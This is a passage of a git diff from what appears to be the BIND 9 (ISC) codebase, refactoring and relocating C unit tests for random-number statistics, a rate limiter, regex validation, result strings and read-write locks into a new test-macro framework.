 static double
-runs(isc_mem_t *mctx, uint16_t *values, size_t length) {
+runs(uint16_t *values, size_t length) {
 	size_t i;
 	uint32_t bcount;
 	uint32_t numbits;
@@ -479,7 +432,6 @@ runs(isc_mem_t *mctx, uint16_t *values, size_t length) {
 	double tau;
 	uint32_t j;
 	uint32_t b;
-	uint8_t bit_this;
 	uint8_t bit_prev;
 	uint32_t v_obs;
 	double numer;
@@ -495,10 +447,6 @@ runs(isc_mem_t *mctx, uint16_t *values, size_t length) {
 		bcount += bitcounts_table[values[i]];
 	}
 
-	if (verbose) {
-		print_message("# numbits=%u, bcount=%u\n", numbits, bcount);
-	}
-
 	pi = (double)bcount / (double)numbits;
 	tau = 2.0 / sqrt(numbits);
 
@@ -522,7 +470,7 @@ runs(isc_mem_t *mctx, uint16_t *values, size_t length) {
 	v_obs = 0;
 
 	for (i = 1; i < numbits; i++) {
-		bit_this = (values[j] & (1U << b)) == 0 ? 0 : 1;
+		uint8_t bit_this = (values[j] & (1U << b)) == 0 ? 0 : 1;
 		if (b == 0) {
 			b = 15;
 			j++;
@@ -550,7 +498,7 @@ runs(isc_mem_t *mctx, uint16_t *values, size_t length) {
  * test suite.
  */
 static double
-blockfrequency(isc_mem_t *mctx, uint16_t *values, size_t length) {
+blockfrequency(uint16_t *values, size_t length) {
 	uint32_t i;
 	uint32_t numbits;
 	uint32_t mbits;
@@ -565,10 +513,6 @@ blockfrequency(isc_mem_t *mctx, uint16_t *values, size_t length) {
 	mwords = mbits / 16;
 	numblocks = numbits / mbits;
 
-	if (verbose) {
-		print_message("# numblocks=%u\n", numblocks);
-	}
-
 	/* Preconditions (section 2.2.7 in NIST SP 800-22) */
 	assert_true(numbits >= 100);
 	assert_true(mbits >= 20);
@@ -576,7 +520,7 @@ blockfrequency(isc_mem_t *mctx, uint16_t *values, size_t length) {
 	assert_true(numblocks < 100);
 	assert_true(numbits >= (mbits * numblocks));
 
-	pi = isc_mem_get(mctx, numblocks * sizeof(double));
+	pi = isc_mem_cget(mctx, numblocks, sizeof(double));
 	assert_non_null(pi);
 
 	for (i = 0; i < numblocks; i++) {
@@ -599,11 +543,7 @@ blockfrequency(isc_mem_t *mctx, uint16_t *values, size_t length) {
 
 	chi_square *= 4 * mbits;
 
-	isc_mem_put(mctx, pi, numblocks * sizeof(double));
-
-	if (verbose) {
-		print_message("# chi_square=%f\n", chi_square);
-	}
+	isc_mem_cput(mctx, pi, numblocks, sizeof(double));
 
 	p_value = igamc(numblocks * 0.5, chi_square * 0.5);
 
@@ -615,7 +555,7 @@ blockfrequency(isc_mem_t *mctx, uint16_t *values, size_t length) {
  * test suite.
  */
 static double
-binarymatrixrank(isc_mem_t *mctx, uint16_t *values, size_t length) {
+binarymatrixrank(uint16_t *values, size_t length) {
 	uint32_t i;
 	size_t matrix_m;
 	size_t matrix_q;
@@ -691,11 +631,6 @@ binarymatrixrank(isc_mem_t *mctx, uint16_t *values, size_t length) {
 
 	chi_square = term1 + term2 + term3;
 
-	if (verbose) {
-		print_message("# fm_0=%u, fm_1=%u, fm_rest=%u, chi_square=%f\n",
-			      fm_0, fm_1, fm_rest, chi_square);
-	}
-
 	p_value = exp(-chi_square * 0.5);
 
 	return (p_value);
@@ -705,33 +640,36 @@ binarymatrixrank(isc_mem_t *mctx, uint16_t *values, size_t length) {
  *** Tests for isc_random32() function
  ***/
 
+/* Ensure the RNG has been automatically seeded. */
+ISC_RUN_TEST_IMPL(isc_random32_initialized) {
+	UNUSED(state);
+
+	assert_int_not_equal(isc_random32(), 0);
+}
+
 /* Monobit test for the RANDOM */
-static void
-isc_random32_monobit(void **state) {
+ISC_RUN_TEST_IMPL(isc_random32_monobit) {
 	UNUSED(state);
 
 	random_test(monobit, ISC_RANDOM32);
 }
 
 /* Runs test for the RANDOM */
-static void
-isc_random32_runs(void **state) {
+ISC_RUN_TEST_IMPL(isc_random32_runs) {
 	UNUSED(state);
 
 	random_test(runs, ISC_RANDOM32);
 }
 
 /* Block frequency test for the RANDOM */
-static void
-isc_random32_blockfrequency(void **state) {
+ISC_RUN_TEST_IMPL(isc_random32_blockfrequency) {
 	UNUSED(state);
 
 	random_test(blockfrequency, ISC_RANDOM32);
 }
 
 /* Binary matrix rank test for the RANDOM */
-static void
-isc_random32_binarymatrixrank(void **state) {
+ISC_RUN_TEST_IMPL(isc_random32_binarymatrixrank) {
 	UNUSED(state);
 
 	random_test(binarymatrixrank, ISC_RANDOM32);
@@ -742,32 +680,28 @@ isc_random32_binarymatrixrank(void **state) {
  ***/
 
 /* Monobit test for the RANDOM */
-static void
-isc_random_bytes_monobit(void **state) {
+ISC_RUN_TEST_IMPL(isc_random_bytes_monobit) {
 	UNUSED(state);
 
 	random_test(monobit, ISC_RANDOM_BYTES);
 }
 
 /* Runs test for the RANDOM */
-static void
-isc_random_bytes_runs(void **state) {
+ISC_RUN_TEST_IMPL(isc_random_bytes_runs) {
 	UNUSED(state);
 
 	random_test(runs, ISC_RANDOM_BYTES);
 }
 
 /* Block frequency test for the RANDOM */
-static void
-isc_random_bytes_blockfrequency(void **state) {
+ISC_RUN_TEST_IMPL(isc_random_bytes_blockfrequency) {
 	UNUSED(state);
 
 	random_test(blockfrequency, ISC_RANDOM_BYTES);
 }
 
 /* Binary matrix rank test for the RANDOM */
-static void
-isc_random_bytes_binarymatrixrank(void **state) {
+ISC_RUN_TEST_IMPL(isc_random_bytes_binarymatrixrank) {
 	UNUSED(state);
 
 	random_test(binarymatrixrank, ISC_RANDOM_BYTES);
@@ -778,32 +712,28 @@ isc_random_bytes_binarymatrixrank(void **state) {
  ***/
 
 /* Monobit test for the RANDOM */
-static void
-isc_random_uniform_monobit(void **state) {
+ISC_RUN_TEST_IMPL(isc_random_uniform_monobit) {
 	UNUSED(state);
 
 	random_test(monobit, ISC_RANDOM_UNIFORM);
 }
 
 /* Runs test for the RANDOM */
-static void
-isc_random_uniform_runs(void **state) {
+ISC_RUN_TEST_IMPL(isc_random_uniform_runs) {
 	UNUSED(state);
 
 	random_test(runs, ISC_RANDOM_UNIFORM);
 }
 
 /* Block frequency test for the RANDOM */
-static void
-isc_random_uniform_blockfrequency(void **state) {
+ISC_RUN_TEST_IMPL(isc_random_uniform_blockfrequency) {
 	UNUSED(state);
 
 	random_test(blockfrequency, ISC_RANDOM_UNIFORM);
 }
 
 /* Binary matrix rank test for the RANDOM */
-static void
-isc_random_uniform_binarymatrixrank(void **state) {
+ISC_RUN_TEST_IMPL(isc_random_uniform_binarymatrixrank) {
 	UNUSED(state);
 
 	random_test(binarymatrixrank, ISC_RANDOM_UNIFORM);
@@ -812,80 +742,53 @@ isc_random_uniform_binarymatrixrank(void **state) {
 /* Tests for isc_nonce_bytes() function */
 
 /* Monobit test for the RANDOM */
-static void
-isc_nonce_bytes_monobit(void **state) {
+ISC_RUN_TEST_IMPL(isc_nonce_bytes_monobit) {
 	UNUSED(state);
 
 	random_test(monobit, ISC_NONCE_BYTES);
 }
 
 /* Runs test for the RANDOM */
-static void
-isc_nonce_bytes_runs(void **state) {
+ISC_RUN_TEST_IMPL(isc_nonce_bytes_runs) {
 	UNUSED(state);
 
 	random_test(runs, ISC_NONCE_BYTES);
 }
 
 /* Block frequency test for the RANDOM */
-static void
-isc_nonce_bytes_blockfrequency(void **state) {
+ISC_RUN_TEST_IMPL(isc_nonce_bytes_blockfrequency) {
 	UNUSED(state);
 
 	random_test(blockfrequency, ISC_NONCE_BYTES);
 }
 
 /* Binary matrix rank test for the RANDOM */
-static void
-isc_nonce_bytes_binarymatrixrank(void **state) {
+ISC_RUN_TEST_IMPL(isc_nonce_bytes_binarymatrixrank) {
 	UNUSED(state);
 
 	random_test(binarymatrixrank, ISC_NONCE_BYTES);
 }
 
-int
-main(int argc, char **argv) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_random32_monobit),
-		cmocka_unit_test(isc_random32_runs),
-		cmocka_unit_test(isc_random32_blockfrequency),
-		cmocka_unit_test(isc_random32_binarymatrixrank),
-		cmocka_unit_test(isc_random_bytes_monobit),
-		cmocka_unit_test(isc_random_bytes_runs),
-		cmocka_unit_test(isc_random_bytes_blockfrequency),
-		cmocka_unit_test(isc_random_bytes_binarymatrixrank),
-		cmocka_unit_test(isc_random_uniform_monobit),
-		cmocka_unit_test(isc_random_uniform_runs),
-		cmocka_unit_test(isc_random_uniform_blockfrequency),
-		cmocka_unit_test(isc_random_uniform_binarymatrixrank),
-		cmocka_unit_test(isc_nonce_bytes_monobit),
-		cmocka_unit_test(isc_nonce_bytes_runs),
-		cmocka_unit_test(isc_nonce_bytes_blockfrequency),
-		cmocka_unit_test(isc_nonce_bytes_binarymatrixrank),
-	};
-	int c;
-
-	while ((c = isc_commandline_parse(argc, argv, "v")) != -1) {
-		switch (c) {
-		case 'v':
-			verbose = true;
-			break;
-		default:
-			break;
-		}
-	}
-
-	return (cmocka_run_group_tests(tests, _setup, _teardown));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_random32_initialized)
+ISC_TEST_ENTRY(isc_random32_monobit)
+ISC_TEST_ENTRY(isc_random32_runs)
+ISC_TEST_ENTRY(isc_random32_blockfrequency)
+ISC_TEST_ENTRY(isc_random32_binarymatrixrank)
+ISC_TEST_ENTRY(isc_random_bytes_monobit)
+ISC_TEST_ENTRY(isc_random_bytes_runs)
+ISC_TEST_ENTRY(isc_random_bytes_blockfrequency)
+ISC_TEST_ENTRY(isc_random_bytes_binarymatrixrank)
+ISC_TEST_ENTRY(isc_random_uniform_monobit)
+ISC_TEST_ENTRY(isc_random_uniform_runs)
+ISC_TEST_ENTRY(isc_random_uniform_blockfrequency)
+ISC_TEST_ENTRY(isc_random_uniform_binarymatrixrank)
+ISC_TEST_ENTRY(isc_nonce_bytes_monobit)
+ISC_TEST_ENTRY(isc_nonce_bytes_runs)
+ISC_TEST_ENTRY(isc_nonce_bytes_blockfrequency)
+ISC_TEST_ENTRY(isc_nonce_bytes_binarymatrixrank)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/ratelimiter_test.c b/tests/isc/ratelimiter_test.c
new file mode 100644
index 0000000000..4bc987970f
--- /dev/null
+++ b/tests/isc/ratelimiter_test.c
@@ -0,0 +1,316 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/job.h>
+#include <isc/loop.h>
+#include <isc/ratelimiter.h>
+#include <isc/time.h>
+
+#include "ratelimiter.c"
+
+#include <tests/isc.h>
+
+isc_ratelimiter_t *rl = NULL;
+
+typedef struct rlstat {
+	isc_rlevent_t *event;
+} rlstat_t;
+
+ISC_LOOP_TEST_IMPL(ratelimiter_create) {
+	assert_null(rl);
+	expect_assert_failure(isc_ratelimiter_create(NULL, &rl));
+	expect_assert_failure(isc_ratelimiter_create(mainloop, NULL));
+	assert_null(rl);
+
+	isc_ratelimiter_create(mainloop, &rl);
+	isc_ratelimiter_shutdown(rl);
+	isc_ratelimiter_detach(&rl);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(ratelimiter_shutdown) {
+	assert_null(rl);
+	expect_assert_failure(isc_ratelimiter_shutdown(NULL));
+	expect_assert_failure(isc_ratelimiter_shutdown(rl));
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(ratelimiter_detach) {
+	assert_null(rl);
+
+	expect_assert_failure(isc_ratelimiter_detach(NULL));
+	expect_assert_failure(isc_ratelimiter_detach(&rl));
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static int ticks = 0;
+static isc_time_t start_time;
+static isc_time_t tick_time;
+
+static void
+tick(void *arg) {
+	rlstat_t *rlstat = (rlstat_t *)arg;
+
+	isc_rlevent_free(&rlstat->event);
+	isc_mem_put(mctx, rlstat, sizeof(*rlstat));
+
+	ticks++;
+
+	tick_time = isc_time_now();
+
+	isc_ratelimiter_shutdown(rl);
+	isc_ratelimiter_detach(&rl);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_SETUP_IMPL(ratelimiter_common) {
+	assert_null(rl);
+	isc_time_set(&tick_time, 0, 0);
+	start_time = isc_time_now();
+	isc_ratelimiter_create(mainloop, &rl);
+}
+
+ISC_LOOP_SETUP_IMPL(ratelimiter_enqueue) {
+	ticks = 0;
+	setup_loop_ratelimiter_common(arg);
+}
+
+ISC_LOOP_TEARDOWN_IMPL(ratelimiter_enqueue) { assert_int_equal(ticks, 1); }
+
+ISC_LOOP_TEST_SETUP_TEARDOWN_IMPL(ratelimiter_enqueue) {
+	isc_result_t result;
+	rlstat_t *rlstat = isc_mem_get(mctx, sizeof(*rlstat));
+	*rlstat = (rlstat_t){ 0 };
+
+	result = isc_ratelimiter_enqueue(rl, mainloop, tick, rlstat,
+					 &rlstat->event);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(rlstat->event);
+}
+
+ISC_LOOP_SETUP_IMPL(ratelimiter_enqueue_shutdown) {
+	ticks = 0;
+	setup_loop_ratelimiter_common(arg);
+}
+
+ISC_LOOP_TEARDOWN_IMPL(ratelimiter_enqueue_shutdown) {
+	assert_int_equal(ticks, 1);
+}
+
+ISC_LOOP_TEST_SETUP_TEARDOWN_IMPL(ratelimiter_enqueue_shutdown) {
+	isc_rlevent_t *event = NULL;
+	rlstat_t *rlstat = isc_mem_get(mctx, sizeof(*rlstat));
+	*rlstat = (rlstat_t){ 0 };
+
+	expect_assert_failure(
+		isc_ratelimiter_enqueue(NULL, mainloop, tick, NULL, &event));
+	expect_assert_failure(
+		isc_ratelimiter_enqueue(rl, NULL, tick, NULL, &event));
+	expect_assert_failure(
+		isc_ratelimiter_enqueue(rl, mainloop, tick, NULL, NULL));
+
+	assert_int_equal(isc_ratelimiter_enqueue(rl, mainloop, tick, rlstat,
+						 &rlstat->event),
+			 ISC_R_SUCCESS);
+	assert_non_null(rlstat->event);
+
+	isc_ratelimiter_shutdown(rl);
+
+	assert_int_equal(
+		isc_ratelimiter_enqueue(rl, mainloop, tick, NULL, &event),
+		ISC_R_SHUTTINGDOWN);
+	assert_null(event);
+}
+
+ISC_LOOP_SETUP_IMPL(ratelimiter_dequeue) {
+	ticks = 0;
+	setup_loop_ratelimiter_common(arg);
+}
+
+ISC_LOOP_TEARDOWN_IMPL(ratelimiter_dequeue) { /* */
+	assert_int_equal(ticks, 0);
+}
+
+ISC_LOOP_TEST_SETUP_TEARDOWN_IMPL(ratelimiter_dequeue) {
+	isc_rlevent_t *fake = isc_mem_get(mctx, sizeof(*fake));
+	rlstat_t *rlstat = isc_mem_get(mctx, sizeof(*rlstat));
+	*rlstat = (rlstat_t){ 0 };
+
+	assert_int_equal(isc_ratelimiter_enqueue(rl, mainloop, tick, rlstat,
+						 &rlstat->event),
+			 ISC_R_SUCCESS);
+	assert_int_equal(isc_ratelimiter_dequeue(rl, &rlstat->event),
+			 ISC_R_SUCCESS);
+	isc_mem_put(mctx, rlstat, sizeof(*rlstat));
+
+	/* Set up a mock ratelimiter event that isn't actually scheduled */
+	*fake = (isc_rlevent_t){ .link = ISC_LINK_INITIALIZER };
+	isc_loop_attach(mainloop, &fake->loop);
+	isc_ratelimiter_attach(rl, &fake->rl);
+	assert_int_equal(isc_ratelimiter_dequeue(rl, &fake), ISC_R_NOTFOUND);
+	isc_loop_detach(&fake->loop);
+	isc_ratelimiter_detach(&fake->rl);
+	isc_mem_put(mctx, fake, sizeof(*fake));
+
+	isc_ratelimiter_shutdown(rl);
+	isc_ratelimiter_detach(&rl);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static isc_time_t tock_time;
+
+static void
+tock(void *arg) {
+	rlstat_t *rlstat = (rlstat_t *)arg;
+
+	isc_rlevent_free(&rlstat->event);
+	isc_mem_put(mctx, rlstat, sizeof(*rlstat));
+
+	ticks++;
+	tock_time = isc_time_now();
+}
+
+ISC_LOOP_SETUP_IMPL(ratelimiter_pertick_interval) {
+	ticks = 0;
+	isc_time_set(&tock_time, 0, 0);
+	setup_loop_ratelimiter_common(arg);
+}
+
+ISC_LOOP_TEARDOWN_IMPL(ratelimiter_pertick_interval) {
+	uint64_t t = isc_time_microdiff(&tick_time, &tock_time);
+	assert_int_equal(ticks, 2);
+	assert_true(t >= 1000000);
+
+	t = isc_time_microdiff(&tock_time, &start_time);
+	assert_true(t < 1000000);
+}
+
+ISC_LOOP_TEST_SETUP_TEARDOWN_IMPL(ratelimiter_pertick_interval) {
+	rlstat_t *rlstat = NULL;
+	isc_interval_t interval;
+
+	isc_interval_set(&interval, 1, NS_PER_SEC / 10);
+
+	expect_assert_failure(isc_ratelimiter_setinterval(NULL, &interval));
+	expect_assert_failure(isc_ratelimiter_setinterval(rl, NULL));
+	expect_assert_failure(isc_ratelimiter_setpertic(NULL, 1));
+	expect_assert_failure(isc_ratelimiter_setpertic(rl, 0));
+	expect_assert_failure(isc_ratelimiter_setpushpop(NULL, false));
+
+	isc_ratelimiter_setinterval(rl, &interval);
+	isc_ratelimiter_setpertic(rl, 1);
+	isc_ratelimiter_setpushpop(rl, false);
+
+	rlstat = isc_mem_get(mctx, sizeof(*rlstat));
+	*rlstat = (rlstat_t){ 0 };
+	assert_int_equal(isc_ratelimiter_enqueue(rl, mainloop, tock, rlstat,
+						 &rlstat->event),
+			 ISC_R_SUCCESS);
+
+	rlstat = isc_mem_get(mctx, sizeof(*rlstat));
+	*rlstat = (rlstat_t){ 0 };
+	assert_int_equal(isc_ratelimiter_enqueue(rl, mainloop, tick, rlstat,
+						 &rlstat->event),
+			 ISC_R_SUCCESS);
+}
+
+ISC_LOOP_SETUP_IMPL(ratelimiter_pushpop) {
+	ticks = 0;
+	isc_time_set(&tock_time, 0, 0);
+	setup_loop_ratelimiter_common(arg);
+}
+
+ISC_LOOP_TEARDOWN_IMPL(ratelimiter_pushpop) {
+	uint64_t t = isc_time_microdiff(&tock_time, &tick_time);
+	assert_int_equal(ticks, 2);
+	assert_true(t < 1000000);
+}
+
+ISC_LOOP_TEST_SETUP_TEARDOWN_IMPL(ratelimiter_pushpop) {
+	rlstat_t *rlstat = NULL;
+	isc_interval_t interval;
+
+	isc_interval_set(&interval, 1, NS_PER_SEC / 10);
+
+	isc_ratelimiter_setinterval(rl, &interval);
+	isc_ratelimiter_setpertic(rl, 2);
+	isc_ratelimiter_setpushpop(rl, true);
+
+	rlstat = isc_mem_get(mctx, sizeof(*rlstat));
+	*rlstat = (rlstat_t){ 0 };
+	assert_int_equal(isc_ratelimiter_enqueue(rl, mainloop, tock, rlstat,
+						 &rlstat->event),
+			 ISC_R_SUCCESS);
+
+	rlstat = isc_mem_get(mctx, sizeof(*rlstat));
+	*rlstat = (rlstat_t){ 0 };
+	assert_int_equal(isc_ratelimiter_enqueue(rl, mainloop, tick, rlstat,
+						 &rlstat->event),
+			 ISC_R_SUCCESS);
+}
+
+static int
+setup_test(void **state) {
+	int r;
+
+	r = setup_loopmgr(state);
+	if (r != 0) {
+		return (r);
+	}
+
+	return (0);
+}
+
+static int
+teardown_test(void **state) {
+	int r;
+
+	r = teardown_loopmgr(state);
+	if (r != 0) {
+		return (r);
+	}
+
+	return (0);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY_CUSTOM(ratelimiter_create, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(ratelimiter_shutdown, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(ratelimiter_detach, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(ratelimiter_enqueue, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(ratelimiter_enqueue_shutdown, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(ratelimiter_dequeue, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(ratelimiter_pertick_interval, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(ratelimiter_pushpop, setup_test, teardown_test)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/isc/tests/regex_test.c b/tests/isc/regex_test.c
similarity index 98%
rename from lib/isc/tests/regex_test.c
rename to tests/isc/regex_test.c
index 5d7ae5e5b4..379dfdcc15 100644
--- a/lib/isc/tests/regex_test.c
+++ b/tests/isc/regex_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,8 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
 #include <stddef.h>
@@ -27,16 +29,13 @@
 #include <cmocka.h>
 
 #include <isc/commandline.h>
-#include <isc/print.h>
 #include <isc/regex.h>
 #include <isc/util.h>
 
-/* Set to true (or use -v option) for verbose output */
-static bool verbose = false;
+#include <tests/isc.h>
 
 /* test isc_regex_validate() */
-static void
-regex_validate(void **state) {
+ISC_RUN_TEST_IMPL(regex_validate) {
 	/*
 	 *  test regex were generated using http://code.google.com/p/regfuzz/
 	 *  modified to use only printable characters
@@ -2301,23 +2300,10 @@ regex_validate(void **state) {
 		     (r == 0 && tests[i].expect == -1)) &&
 		    !tests[i].exception)
 		{
-			if (verbose) {
-				print_error("regcomp(%s) -> %s expected %s\n",
-					    tests[i].expression,
-					    r != 0 ? "bad" : "good",
-					    tests[i].expect == -1 ? "bad"
-								  : "good");
-			}
 		} else if (r == 0 &&
 			   preg.re_nsub != (unsigned int)tests[i].expect &&
 			   !tests[i].exception)
 		{
-			if (verbose) {
-				print_error("%s preg.re_nsub %lu expected %d\n",
-					    tests[i].expression,
-					    (unsigned long)preg.re_nsub,
-					    tests[i].expect);
-			}
 			tests[i].expect = preg.re_nsub;
 		}
 		if (r == 0) {
@@ -2339,34 +2325,10 @@ regex_validate(void **state) {
 	}
 }
 
-int
-main(int argc, char **argv) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(regex_validate),
-	};
-	int c;
+ISC_TEST_LIST_START
 
-	while ((c = isc_commandline_parse(argc, argv, "v")) != -1) {
-		switch (c) {
-		case 'v':
-			verbose = true;
-			break;
-		default:
-			break;
-		}
-	}
+ISC_TEST_ENTRY(regex_validate)
 
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/tests/isc/result_test.c b/tests/isc/result_test.c
new file mode 100644
index 0000000000..cec195bef4
--- /dev/null
+++ b/tests/isc/result_test.c
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/result.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+/* convert result to identifier string */
+ISC_RUN_TEST_IMPL(isc_result_toid) {
+	const char *id;
+
+	UNUSED(state);
+
+	id = isc_result_toid(ISC_R_SUCCESS);
+	assert_string_equal("ISC_R_SUCCESS", id);
+
+	id = isc_result_toid(ISC_R_FAILURE);
+	assert_string_equal("ISC_R_FAILURE", id);
+}
+
+/* convert result to description string */
+ISC_RUN_TEST_IMPL(isc_result_totext) {
+	const char *str;
+
+	UNUSED(state);
+
+	str = isc_result_totext(ISC_R_SUCCESS);
+	assert_string_equal("success", str);
+
+	str = isc_result_totext(ISC_R_FAILURE);
+	assert_string_equal("failure", str);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_result_toid)
+ISC_TEST_ENTRY(isc_result_totext)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/rwlock_test.c b/tests/isc/rwlock_test.c
new file mode 100644
index 0000000000..4c5b8e0575
--- /dev/null
+++ b/tests/isc/rwlock_test.c
@@ -0,0 +1,348 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <fcntl.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/atomic.h>
+#include <isc/barrier.h>
+#include <isc/file.h>
+#include <isc/mem.h>
+#include <isc/os.h>
+#include <isc/pause.h>
+#include <isc/random.h>
+#include <isc/result.h>
+#include <isc/rwlock.h>
+#include <isc/stdio.h>
+#include <isc/thread.h>
+#include <isc/time.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+static unsigned int loops = 100;
+static unsigned int delay_loop = 1;
+
+static isc_rwlock_t rwlock;
+static pthread_rwlock_t prwlock;
+static isc_barrier_t barrier1;
+static isc_barrier_t barrier2;
+
+#define ITERS 20
+
+#define DC	200
+#define CNT_MIN 800
+#define CNT_MAX 1600
+
+static size_t shared_counter = 0;
+static size_t expected_counter = SIZE_MAX;
+static uint8_t boundary = 0;
+static uint8_t *rnd;
+
+static int
+setup_env(void **unused __attribute__((__unused__))) {
+	char *env = getenv("ISC_BENCHMARK_LOOPS");
+	if (env != NULL) {
+		loops = atoi(env);
+	}
+	assert_int_not_equal(loops, 0);
+
+	env = getenv("ISC_BENCHMARK_DELAY");
+	if (env != NULL) {
+		delay_loop = atoi(env);
+	}
+	assert_int_not_equal(delay_loop, 0);
+
+	rnd = isc_mem_cget(mctx, loops, sizeof(rnd[0]));
+	for (size_t i = 0; i < loops; i++) {
+		rnd[i] = (uint8_t)isc_random_uniform(100);
+	}
+
+	return (0);
+}
+
+static int
+teardown_env(void **state __attribute__((__unused__))) {
+	isc_mem_cput(mctx, rnd, loops, sizeof(rnd[0]));
+
+	return (0);
+}
+
+static int
+rwlock_setup(void **state __attribute__((__unused__))) {
+	isc_rwlock_init(&rwlock);
+
+	isc_barrier_init(&barrier1, 2);
+	isc_barrier_init(&barrier2, 2);
+	if (pthread_rwlock_init(&prwlock, NULL) == -1) {
+		return (errno);
+	}
+
+	return (0);
+}
+
+static int
+rwlock_teardown(void **state __attribute__((__unused__))) {
+	if (pthread_rwlock_destroy(&prwlock) == -1) {
+		return (errno);
+	}
+	isc_barrier_destroy(&barrier2);
+	isc_barrier_destroy(&barrier1);
+
+	isc_rwlock_destroy(&rwlock);
+
+	return (0);
+}
+
+/*
+ * Simple single-threaded read lock/unlock test
+ */
+ISC_RUN_TEST_IMPL(isc_rwlock_rdlock) {
+	isc_rwlock_lock(&rwlock, isc_rwlocktype_read);
+	isc_pause_n(delay_loop);
+	isc_rwlock_unlock(&rwlock, isc_rwlocktype_read);
+}
+
+/*
+ * Simple single-threaded write lock/unlock test
+ */
+ISC_RUN_TEST_IMPL(isc_rwlock_wrlock) {
+	isc_rwlock_lock(&rwlock, isc_rwlocktype_write);
+	isc_pause_n(delay_loop);
+	isc_rwlock_unlock(&rwlock, isc_rwlocktype_write);
+}
+
+/*
+ * Simple single-threaded lock/tryupgrade/unlock test
+ */
+ISC_RUN_TEST_IMPL(isc_rwlock_tryupgrade) {
+	isc_result_t result;
+	isc_rwlock_lock(&rwlock, isc_rwlocktype_read);
+	result = isc_rwlock_tryupgrade(&rwlock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_rwlock_unlock(&rwlock, isc_rwlocktype_write);
+}
+
+static void *
+trylock_thread1(void *arg __attribute__((__unused__))) {
+	isc_rwlock_lock(&rwlock, isc_rwlocktype_write);
+
+	isc_barrier_wait(&barrier1);
+	isc_barrier_wait(&barrier2);
+
+	isc_rwlock_unlock(&rwlock, isc_rwlocktype_write);
+
